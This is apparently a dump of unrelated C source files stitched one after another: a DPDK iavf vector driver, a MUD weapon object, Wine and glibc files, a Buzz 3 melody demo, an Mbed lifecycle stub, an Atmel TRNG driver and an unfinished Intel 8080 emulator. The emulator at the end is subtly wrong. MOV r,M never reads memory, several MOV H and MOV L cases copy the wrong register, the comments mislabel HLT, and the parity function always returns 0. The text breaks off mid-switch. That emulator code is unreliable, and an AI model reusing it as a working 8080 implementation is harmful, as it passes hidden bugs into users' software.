* - nb_pkts < IAVF_VPMD_DESCS_PER_LOOP, just return no packet
* - nb_pkts > VPMD_RX_MAX_BURST, only scan IAVF_VPMD_RX_MAX_BURST
* numbers of DD bits
*/
uint16_t
iavf_recv_scattered_pkts_vec(void *rx_queue, struct rte_mbuf **rx_pkts,
uint16_t nb_pkts)
{
struct iavf_rx_queue *rxq = rx_queue;
uint8_t split_flags[IAVF_VPMD_RX_MAX_BURST] = {0};
unsigned int i = 0;
/* get some new buffers */
uint16_t nb_bufs = _recv_raw_pkts_vec(rxq, rx_pkts, nb_pkts,
split_flags);
if (nb_bufs == 0)
return 0;
/* happy day case, full burst + no packets to be joined */
const uint64_t *split_fl64 = (uint64_t *)split_flags;
if (!rxq->pkt_first_seg &&
split_fl64[0] == 0 && split_fl64[1] == 0 &&
split_fl64[2] == 0 && split_fl64[3] == 0)
return nb_bufs;
/* reassemble any packets that need reassembly*/
if (!rxq->pkt_first_seg) {
/* find the first split flag, and only reassemble then*/
while (i < nb_bufs && !split_flags[i])
i++;
if (i == nb_bufs)
return nb_bufs;
rxq->pkt_first_seg = rx_pkts[i];
}
return i + reassemble_packets(rxq, &rx_pkts[i], nb_bufs - i,
&split_flags[i]);
}
/* vPMD receive routine that reassembles scattered packets for flex RxD
* Notice:
* - nb_pkts < IAVF_VPMD_DESCS_PER_LOOP, just return no packet
* - nb_pkts > VPMD_RX_MAX_BURST, only scan IAVF_VPMD_RX_MAX_BURST
* numbers of DD bits
*/
uint16_t
iavf_recv_scattered_pkts_vec_flex_rxd(void *rx_queue,
struct rte_mbuf **rx_pkts,
uint16_t nb_pkts)
{
struct iavf_rx_queue *rxq = rx_queue;
uint8_t split_flags[IAVF_VPMD_RX_MAX_BURST] = {0};
unsigned int i = 0;
/* get some new buffers */
uint16_t nb_bufs = _recv_raw_pkts_vec_flex_rxd(rxq, rx_pkts, nb_pkts,
split_flags);
if (nb_bufs == 0)
return 0;
/* happy day case, full burst + no packets to be joined */
const uint64_t *split_fl64 = (uint64_t *)split_flags;
if (!rxq->pkt_first_seg &&
split_fl64[0] == 0 && split_fl64[1] == 0 &&
split_fl64[2] == 0 && split_fl64[3] == 0)
return nb_bufs;
/* reassemble any packets that need reassembly*/
if (!rxq->pkt_first_seg) {
/* find the first split flag, and only reassemble then*/
while (i < nb_bufs && !split_flags[i])
i++;
if (i == nb_bufs)
return nb_bufs;
rxq->pkt_first_seg = rx_pkts[i];
}
return i + reassemble_packets(rxq, &rx_pkts[i], nb_bufs - i,
&split_flags[i]);
}
static inline void
vtx1(volatile struct iavf_tx_desc *txdp, struct rte_mbuf *pkt, uint64_t flags)
{
uint64_t high_qw =
(IAVF_TX_DESC_DTYPE_DATA |
((uint64_t)flags << IAVF_TXD_QW1_CMD_SHIFT) |
((uint64_t)pkt->data_len <<
IAVF_TXD_QW1_TX_BUF_SZ_SHIFT));
__m128i descriptor = _mm_set_epi64x(high_qw,
pkt->buf_iova + pkt->data_off);
_mm_store_si128((__m128i *)txdp, descriptor);
}
static inline void
iavf_vtx(volatile struct iavf_tx_desc *txdp, struct rte_mbuf **pkt,
uint16_t nb_pkts, uint64_t flags)
{
int i;
for (i = 0; i < nb_pkts; ++i, ++txdp, ++pkt)
vtx1(txdp, *pkt, flags);
}
uint16_t
iavf_xmit_fixed_burst_vec(void *tx_queue, struct rte_mbuf **tx_pkts,
uint16_t nb_pkts)
{
struct iavf_tx_queue *txq = (struct iavf_tx_queue *)tx_queue;
volatile struct iavf_tx_desc *txdp;
struct iavf_tx_entry *txep;
uint16_t n, nb_commit, tx_id;
uint64_t flags = IAVF_TX_DESC_CMD_EOP | 0x04; /* bit 2 must be set */
uint64_t rs = IAVF_TX_DESC_CMD_RS | flags;
int i;
/* cross rx_thresh boundary is not allowed */
nb_pkts = RTE_MIN(nb_pkts, txq->rs_thresh);
if (txq->nb_free < txq->free_thresh)
iavf_tx_free_bufs(txq);
nb_pkts = (uint16_t)RTE_MIN(txq->nb_free, nb_pkts);
if (unlikely(nb_pkts == 0))
return 0;
nb_commit = nb_pkts;
tx_id = txq->tx_tail;
txdp = &txq->tx_ring[tx_id];
txep = &txq->sw_ring[tx_id];
txq->nb_free = (uint16_t)(txq->nb_free - nb_pkts);
n = (uint16_t)(txq->nb_tx_desc - tx_id);
if (nb_commit >= n) {
tx_backlog_entry(txep, tx_pkts, n);
for (i = 0; i < n - 1; ++i, ++tx_pkts, ++txdp)
vtx1(txdp, *tx_pkts, flags);
vtx1(txdp, *tx_pkts++, rs);
nb_commit = (uint16_t)(nb_commit - n);
tx_id = 0;
txq->next_rs = (uint16_t)(txq->rs_thresh - 1);
/* avoid reach the end of ring */
txdp = &txq->tx_ring[tx_id];
txep = &txq->sw_ring[tx_id];
}
tx_backlog_entry(txep, tx_pkts, nb_commit);
iavf_vtx(txdp, tx_pkts, nb_commit, flags);
tx_id = (uint16_t)(tx_id + nb_commit);
if (tx_id > txq->next_rs) {
txq->tx_ring[txq->next_rs].cmd_type_offset_bsz |=
rte_cpu_to_le_64(((uint64_t)IAVF_TX_DESC_CMD_RS) <<
IAVF_TXD_QW1_CMD_SHIFT);
txq->next_rs =
(uint16_t)(txq->next_rs + txq->rs_thresh);
}
txq->tx_tail = tx_id;
PMD_TX_LOG(DEBUG, "port_id=%u queue_id=%u tx_tail=%u nb_pkts=%u",
txq->port_id, txq->queue_id, tx_id, nb_pkts);
IAVF_PCI_REG_WRITE(txq->qtx_tail, txq->tx_tail);
return nb_pkts;
}
uint16_t
iavf_xmit_pkts_vec(void *tx_queue, struct rte_mbuf **tx_pkts,
uint16_t nb_pkts)
{
uint16_t nb_tx = 0;
struct iavf_tx_queue *txq = (struct iavf_tx_queue *)tx_queue;
while (nb_pkts) {
uint16_t ret, num;
num = (uint16_t)RTE_MIN(nb_pkts, txq->rs_thresh);
ret = iavf_xmit_fixed_burst_vec(tx_queue, &tx_pkts[nb_tx], num);
nb_tx += ret;
nb_pkts -= ret;
if (ret < num)
break;
}
return nb_tx;
}
static void __rte_cold
iavf_rx_queue_release_mbufs_sse(struct iavf_rx_queue *rxq)
{
_iavf_rx_queue_release_mbufs_vec(rxq);
}
static void __rte_cold
iavf_tx_queue_release_mbufs_sse(struct iavf_tx_queue *txq)
{
_iavf_tx_queue_release_mbufs_vec(txq);
}
static const struct iavf_rxq_ops sse_vec_rxq_ops = {
.release_mbufs = iavf_rx_queue_release_mbufs_sse,
};
static const struct iavf_txq_ops sse_vec_txq_ops = {
.release_mbufs = iavf_tx_queue_release_mbufs_sse,
};
int __rte_cold
iavf_txq_vec_setup(struct iavf_tx_queue *txq)
{
txq->ops = &sse_vec_txq_ops;
return 0;
}
int __rte_cold
iavf_rxq_vec_setup(struct iavf_rx_queue *rxq)
{
rxq->ops = &sse_vec_rxq_ops;
return iavf_rxq_vec_setup_default(rxq);
}
int __rte_cold
iavf_rx_vec_dev_check(struct rte_eth_dev *dev)
{
return iavf_rx_vec_dev_check_default(dev);
}
int __rte_cold
iavf_tx_vec_dev_check(struct rte_eth_dev *dev)
{
return iavf_tx_vec_dev_check_default(dev);
}
|
869171.c | // dragonblade.c 屠龍刀
// Last Modified by winder on Sep. 7 2001
#include <weapon.h>;
#include <ansi.h>;
inherit BLADE;
inherit F_UNIQUE;
void create()
{
set_name(BLU"屠龍刀"NOR, ({ "dragon blade", "blade", "dao" }));
set_weight(30000);
if (clonep())
set_default_object(__FILE__);
else {
set("unit", "把");
set("long", "此刀由郭靖黃蓉夫婦打造,是天下神兵。\n");
set("material", "steel");
set("no_drop", "如此寶貴的武器再世難求啊。\n");
set("no_get", "送人?虧你想的出來!\n");
set("no_put", "珍惜它吧。\n");
set("value",100);
set("wield_msg", HIB "猛見黑光一閃,屠龍刀躍入$N掌中。瞬時天地間瀰漫着\n一片黑暗的殺意中。\n" NOR);
set("unwield_msg", HIB "$N掌中刀氣漸斂,天地間的肅殺之氣慢慢散去。\n" NOR);
}
init_blade(300);
setup();
}
|
947642.c | /*
* exported dll functions for comcat.dll
*
* Copyright (C) 2002-2003 John K. Hohm
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include "comcat_private.h"
#include "wine/debug.h"
WINE_DEFAULT_DEBUG_CHANNEL(ole);
DWORD dll_ref = 0;
/***********************************************************************
* Global string constant definitions
*/
const WCHAR clsid_keyname[6] = { 'C', 'L', 'S', 'I', 'D', 0 };
/***********************************************************************
* DllGetClassObject (COMCAT.@)
*/
HRESULT WINAPI COMCAT_DllGetClassObject(REFCLSID rclsid, REFIID iid, LPVOID *ppv)
{
*ppv = NULL;
if (IsEqualGUID(rclsid, &CLSID_StdComponentCategoriesMgr)) {
return IClassFactory_QueryInterface((LPCLASSFACTORY)&COMCAT_ClassFactory, iid, ppv);
}
FIXME("\n\tCLSID:\t%s,\n\tIID:\t%s\n",debugstr_guid(rclsid),debugstr_guid(iid));
return CLASS_E_CLASSNOTAVAILABLE;
}
/***********************************************************************
* DllCanUnloadNow (COMCAT.@)
*/
HRESULT WINAPI COMCAT_DllCanUnloadNow()
{
return dll_ref != 0 ? S_FALSE : S_OK;
}
/* NOTE: DllRegisterServer and DllUnregisterServer are in regsvr.c */
|
960104.c | /* Copyright (C) 2003-2015 Free Software Foundation, Inc.
This file is part of the GNU C Library.
Contributed by Ulrich Drepper <[email protected]>, 2003.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
#include <dlfcn.h>
#include <iconv.h>
#include <stdio.h>
#include <stdlib.h>
#include <gnu/lib-names.h>
static int
do_test (void)
{
/* Get the iconv machinery initialized. */
(void) iconv_open ("ISO-8859-1", "ISO-8859-2");
/* Dynamically load libpthread. */
if (dlopen (LIBPTHREAD_SO, RTLD_NOW) == NULL)
{
printf ("cannot load %s: %s\n", LIBPTHREAD_SO, dlerror ());
exit (1);
}
/* And load some more. This call hang for some configuration since
the internal locking necessary wasn't adequately written to
handle a dynamically loaded libpthread after the first call to
iconv_open. */
(void) iconv_open ("ISO-8859-2", "ISO-8859-3");
return 0;
}
#define TEST_FUNCTION do_test ()
#include "../test-skeleton.c"
|
115867.c | /*!
* @file main.c
* @brief Buzz3 Click example
*
* # Description
* This example demonstrates the use of Buzz 3 click boards with PAM8904 for play the Imperial March.
* PAM8904 is piezo-sounder driver with an integrated Multi-Mode charge pump boost converter from Diodes Incorporated.
*
* The demo application is composed of two sections :
*
* ## Application Init
* Initializes GPIO, set AN and RST pin as outputs, begins to write a log.
* Initialization driver enables - GPIO and configures the appropriate MCU pin for
* sound generation, also write log.
*
* ## Application Task
* Plays the Imperial March melody. Also logs an appropriate message on the USB UART.
*
* Additional Functions :
* - void buzz3_melody( void ) - This function plays the Imperial March melody.
*
* @note
* The minimal PWM Clock frequency required for this example is the frequency of tone C6 - 1047 Hz.
* So, in order to run this example and play all tones correctly, the user will need to decrease
* the MCU's main clock frequency in MCU Settings for the certain architectures
* in order to get the required PWM clock frequency.
*
* @author Jelena Milosavljevic
*
*/
#include "board.h"
#include "log.h"
#include "buzz3.h"
#define W 4*Q // Whole 4/4 - 4 Beats
#define H 2*Q // Half 2/4 - 2 Beats
#define Q 250 // Quarter 1/4 - 1 Beat
#define E Q/2 // Eighth 1/8 - 1/2 Beat
#define S Q/4 // Sixteenth 1/16 - 1/4 Beat
static buzz3_t buzz3;
static log_t logger;
void buzz3_melody ( void ) {
buzz3_play_sound(&buzz3, BUZZ3_NOTE_A6, Q );
Delay_ms( 1 + Q );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_A6, Q );
Delay_ms( 1 + Q );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_A6, Q );
Delay_ms( 1 + Q );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_F6, E + S );
Delay_ms( 1 + E + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_C7, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_A6, Q );
Delay_ms( 1 + Q );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_F6, E + S );
Delay_ms( 1 + E + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_C7, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_A6, H );
Delay_ms( 1 + H );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_E7, Q );
Delay_ms( 1 + Q );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_E7, Q );
Delay_ms( 1 + Q );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_E7, Q );
Delay_ms( 1 + Q );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_F7, E + S );
Delay_ms( 1 + E + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_C7, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_Ab6, Q );
Delay_ms( 1 + Q );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_F6, E + S );
Delay_ms( 1 + E + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_C7, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_A6, H );
Delay_ms( 1 + H );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_A7, Q );
Delay_ms( 1 + Q );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_A6, E + S );
Delay_ms( 1 + E + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_A6, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_A7, Q );
Delay_ms( 1 + Q );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_Ab7, E + S );
Delay_ms( 1 + E + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_G7, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_Gb7, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_E7, Q );
Delay_ms( 1 + Q );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_F7, E );
Delay_ms( 1 + E );
Delay_ms( 1 + E );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_Bb6, E );
Delay_ms( 1 + E );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_Eb7, Q );
Delay_ms( 1 + Q );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_D7, E + S );
Delay_ms( 1 + E + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_Db7, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_C7, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_B6, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_C7, E );
Delay_ms( 1 + E );
Delay_ms( 1 + E );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_F6, E );
Delay_ms( 1 + E );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_Ab6, Q );
Delay_ms( 1 + Q );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_F6, E + S );
Delay_ms( 1 + E + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_A6, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_C7, Q );
Delay_ms( 1 + Q );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_A6, E + S );
Delay_ms( 1 + E + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_C7, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_E7, H );
Delay_ms( 1 + H );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_A7, Q );
Delay_ms( 1 + Q );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_A6, E + S );
Delay_ms( 1 + E + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_A6, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_A7, Q );
Delay_ms( 1 + Q );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_Ab7, E + S );
Delay_ms( 1 + E + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_G7, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_Gb7, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_E7, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_F7, E );
Delay_ms( 1 + E );
Delay_ms( 1 + E );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_Bb6, E );
Delay_ms( 1 + E );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_Eb7, Q );
Delay_ms( 1 + Q );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_D7, E + S );
Delay_ms( 1 + E + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_Db7, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_C7, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_B6, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_C7, E );
Delay_ms( 1 + E );
Delay_ms( 1 + E );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_F6, E );
Delay_ms( 1 + E );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_Ab6, Q );
Delay_ms( 1 + Q );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_F6, E + S );
Delay_ms( 1 + E + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_C7, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_A6, Q );
Delay_ms( 1 + Q );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_F6, E + S );
Delay_ms( 1 + E + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_C7, S );
Delay_ms( 1 + S );
buzz3_play_sound(&buzz3, BUZZ3_NOTE_Ab6, H );
Delay_ms( 1 + H );
}
void application_init ( void )
{
log_cfg_t log_cfg; /**< Logger config object. */
buzz3_cfg_t buzz3_cfg; /**< Click config object. */
/**
* Logger initialization.
* Default baud rate: 115200
* Default log level: LOG_LEVEL_DEBUG
* @note If USB_UART_RX and USB_UART_TX
* are defined as HAL_PIN_NC, you will
* need to define them manually for log to work.
* See @b LOG_MAP_USB_UART macro definition for detailed explanation.
*/
LOG_MAP_USB_UART( log_cfg );
log_init( &logger, &log_cfg );
log_info( &logger, " Application Init " );
// Click initialization.
buzz3_cfg_setup( &buzz3_cfg );
BUZZ3_MAP_MIKROBUS( buzz3_cfg, MIKROBUS_1 );
err_t init_flag = buzz3_init( &buzz3, &buzz3_cfg );
if ( PWM_ERROR == init_flag )
{
log_error( &logger, " Application Init Error. " );
log_info( &logger, " Please, run program again... " );
for ( ; ; );
}
buzz3_default_cfg ( &buzz3 );
buzz3_set_duty_cycle ( &buzz3, 0.0 );
log_printf( &logger, "---------------------\r\n" );
log_printf( &logger, " Set the gain to x1 \r\n" );
log_printf( &logger, "---------------------\r\n" );
Delay_ms( 100 );
buzz3_pwm_start( &buzz3 );
buzz3_set_gain_operating_mode( &buzz3, BUZZ3_OP_MODE_GAIN_x1 );
log_info( &logger, " Application Task " );
}
void application_task ( void )
{
log_printf( &logger, " Play the music \r\n" );
buzz3_melody( );
log_printf( &logger, "---------------------\r\n" );
Delay_ms( 1000 );
}
void main ( void )
{
application_init( );
for ( ; ; )
{
application_task( );
}
}
// ------------------------------------------------------------------------ END
|
692068.c | /* Copyright (c) 2019 ARM Limited
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "psa/lifecycle.h"
#include "psa/internal_trusted_storage.h"
#include "platform_srv_impl.h"
#include "cmsis.h"
#ifndef MBED_CONF_LIFECYCLE_STATE
#define MBED_CONF_LIFECYCLE_STATE PSA_LIFECYCLE_ASSEMBLY_AND_TEST
#endif
psa_status_t psa_platfrom_lifecycle_get_impl(uint32_t *lc_state)
{
*lc_state = MBED_CONF_LIFECYCLE_STATE;
return PSA_SUCCESS;
}
psa_status_t psa_its_reset();
psa_status_t psa_platfrom_lifecycle_change_request_impl(uint32_t state)
{
if (PSA_LIFECYCLE_ASSEMBLY_AND_TEST == state) {
return psa_its_reset();
}
return PSA_ERROR_NOT_SUPPORTED;
}
MBED_WEAK void mbed_psa_system_reset_impl(void)
{
/* Reset the system */
NVIC_SystemReset();
}
|
866167.c | /* ----------------------------------------------------------------------------
* SAM Software Package License
* ----------------------------------------------------------------------------
* Copyright (c) 2013, Atmel Corporation
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the disclaimer below.
*
* Atmel's name may not be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* DISCLAIMER: THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
* DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
* OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
* ----------------------------------------------------------------------------
*/
/** \addtogroup rtng_module Working with RTNG
* \ingroup peripherals_module
* The TRNG driver provides the interface to configure and use the TRNG peripheral.
* \n
*
* The True Random Number Generator (TRNG) passes the American NIST Special Publication
* 800-22 and Diehard Random Tests Suites. As soon as the TRNG is enabled (TRNG_Enable()),
* the generator provides one 32-bit value every 84 clock cycles.
* Interrupt trng_int can be enabled through TRNG_EnableIt()(respectively disabled in TRNG_IDR).
* This interrupt is set when a new random value is available and is cleared when the status
* register is read (TRNG_SR register). The flag DATRDY of the status register (TRNG_ISR) is set
* when the random data is ready to be read out on the 32-bit output data through TRNG_GetRandData().
*
* For more accurate information, please look at the SHA section of the
* Datasheet.
*
* Related files :\n
* \ref trng.c\n
* \ref trng.h\n
*/
/*@{*/
/*@}*/
/**
* \file
*
* Implementation of True Random Number Generator (TRNG)
*
*/
/*----------------------------------------------------------------------------
* Headers
*----------------------------------------------------------------------------*/
#include "chip.h"
/*----------------------------------------------------------------------------
* Exported functions
*----------------------------------------------------------------------------*/
/**
* \brief Enables the TRNG to provide Random Values.
* \param key This key is to be written when the ENABLE bit is set.
*/
void TRNG_Enable(uint32_t key)
{
TRNG->TRNG_CR = TRNG_CR_ENABLE | TRNG_CR_KEY(key);
}
/**
* \brief Disables the TRNG to provide Random Values.
* \param key This key is to be written when the DISABLE bit is set.
*/
void TRNG_Disable(uint32_t key)
{
TRNG->TRNG_CR = TRNG_CR_KEY(key);
}
/**
* \brief Data Ready Interrupt enable.
*/
void TRNG_EnableIt(void)
{
TRNG->TRNG_IER = TRNG_IER_DATRDY;
}
/**
* \brief Data Ready Interrupt Disable.
*/
void TRNG_DisableIt(void)
{
TRNG->TRNG_IDR = TRNG_IDR_DATRDY;
}
/**
* \brief Get the current status register of the given TRNG peripheral.
* \return TRNG status register.
*/
uint32_t TRNG_GetStatus(void)
{
return TRNG->TRNG_ISR;
}
/**
* \brief Get the 32-bit Output Data from TRNG peripheral.
* \return TRNG output data.
*/
uint32_t TRNG_GetRandData(void)
{
return TRNG->TRNG_ODATA;
}
|
752183.c | #include <stdio.h>
#include <string.h>
#include <malloc.h>
#include "BlueWorld.h"
uint8_t Parity(uint8_t num) {
return 0;
}
void addInstr(State8080 *state, uint8_t registerVal, uint8_t carry) {
uint16_t answer = (uint16_t) state->a + (uint16_t) registerVal;
state->cc.z = ((answer & 0xff) == 0);
state->cc.s = ((answer & 0x80) != 0);
state->cc.cy = (answer > 0xff);
state->cc.p = Parity(answer & 0xff);
state->a = answer & 0xff;
}
void Emulate8080(State8080* state) {
unsigned char *opcode = &state->memory[state->pc];
switch(*opcode) {
case 0x00: break; //NOP is easy!
case 0x01: //LXI B,word
state->c = opcode[1];
state->b = opcode[2];
state->pc += 2; //Advance 2 more bytes
break;
case 0x02: break;
case 0x03: break;
case 0x04: break;
case 0x05: break;
case 0x06: break;
case 0x07: break;
case 0x08: break;
case 0x09: break;
case 0x0a: break;
case 0x0b: break;
case 0x0c: break;
case 0x0d: break;
case 0x0e: break;
case 0x0f: break;
case 0x10: break;
case 0x11: break;
case 0x12: break;
case 0x13: break;
case 0x14: break;
case 0x15: break;
case 0x16: break;
case 0x17: break;
case 0x18: break;
case 0x19: break;
case 0x1a: break;
case 0x1b: break;
case 0x1c: break;
case 0x1d: break;
case 0x1e: break;
case 0x1f: break;
case 0x20: break;
case 0x21: break;
case 0x22: break;
case 0x23: break;
case 0x24: break;
case 0x25: break;
case 0x26: break;
case 0x27: break;
case 0x28: break;
case 0x29: break;
case 0x2a: break;
case 0x2b: break;
case 0x2c: break;
case 0x2d: break;
case 0x2e: break;
case 0x2f: break;
case 0x30: break;
case 0x31: break;
case 0x32: break;
case 0x33: break;
case 0x34: break;
case 0x35: break;
case 0x36: break;
case 0x37: break;
case 0x38: break;
case 0x39: break;
case 0x3a: break;
case 0x3b: break;
case 0x3c: break;
case 0x3d: break;
case 0x3e: break;
case 0x3f: break;
case 0x40: state->b = state->b; break; //MOV B,B
case 0x41: state->b = state->c; break; //MOV B,C
case 0x42: state->b = state->d; break; //MOV B,D
case 0x43: state->b = state->e; break; //MOV B,E
case 0x44: state->b = state->h; break; //MOV B,H
case 0x45: state->b = state->l; break; //MOV B,L
case 0x46: state->b = (state->h<<8) | (state->l); break; //MOV B,M
case 0x47: state->b = state->a; break; //MOV B, A
case 0x48: state->c = state->b; break;
case 0x49: state->c = state->c; break;
case 0x4a: state->c = state->d; break;
case 0x4b: state->c = state->e; break;
case 0x4c: state->c = state->h; break;
case 0x4d: state->c = state->l; break;
case 0x4e: state->c = (state->h<<8) | (state->l); break;
case 0x4f: state->c = state->a; break;
case 0x50: state->d = state->b; break;
case 0x51: state->d = state->c; break;
case 0x52: state->d = state->d; break;
case 0x53: state->d = state->e; break;
case 0x54: state->d = state->h; break;
case 0x55: state->d = state->l; break;
case 0x56: state->d = (state->h<<8) | (state->l); break;
case 0x57: state->d = state->a; break;
case 0x58: state->e = state->b; break;
case 0x59: state->e = state->c; break;
case 0x5a: state->e = state->d; break;
case 0x5b: state->e = state->e; break;
case 0x5c: state->e = state->h; break;
case 0x5d: state->e = state->l; break;
case 0x5e: state->e = (state->h<<8) | (state->l); break;
case 0x5f: state->e = state->a; break;
case 0x60: state->h = state->a; break;
case 0x61: state->h = state->a; break;
case 0x62: state->h = state->a; break;
case 0x63: state->h = state->a; break;
case 0x64: state->h = state->a; break;
case 0x65: state->h = state->a; break;
case 0x66: state->h = (state->h<<8) | (state->l); break;
case 0x67: state->h = state->a; break;
case 0x68: state->l = state->b; break;
case 0x69: state->l = state->d; break;
case 0x6a: state->l = state->e; break;
case 0x6b: state->l = state->h; break;
case 0x6c: state->l = state->l; break;
case 0x6d: state->l = state->l; break;
case 0x6e: state->l = (state->h<<8) | (state->l); break;
case 0x6f: state->l = state->a; break;
case 0x70: break;
case 0x71: break;
case 0x72: break;
case 0x73: break;
case 0x74: break;
case 0x75: break; //MOV M, L
case 0x76: break;
case 0x77: break; // HLT
case 0x78: state->a = state->b; break;
case 0x79: state->a = state->c; break;
case 0x7a: state->a = state->d; break;
case 0x7b: state->a = state->e; break;
case 0x7c: state->a = state->h; break;
case 0x7d: state->a = state->l; break;
case 0x7e: state->a = (state->h<<8) | (state->l); break;
case 0x7f: state->a = state->a; break;
case 0x80: addInstr(state, state->b, 0); break; // ADD B
case 0x81: addInstr(state, state->c, 0); break; // ADD C
case 0x82: addInstr(state, state->d, 0); break; // ADD D
case 0x83: addInstr(state, state->e, 0); break; // ADD E
case 0x84: addInstr(state, state->h, 0); break; // ADD H
case 0x85: addInstr(state, state->l, 0); break; // ADD L
case 0x86: {
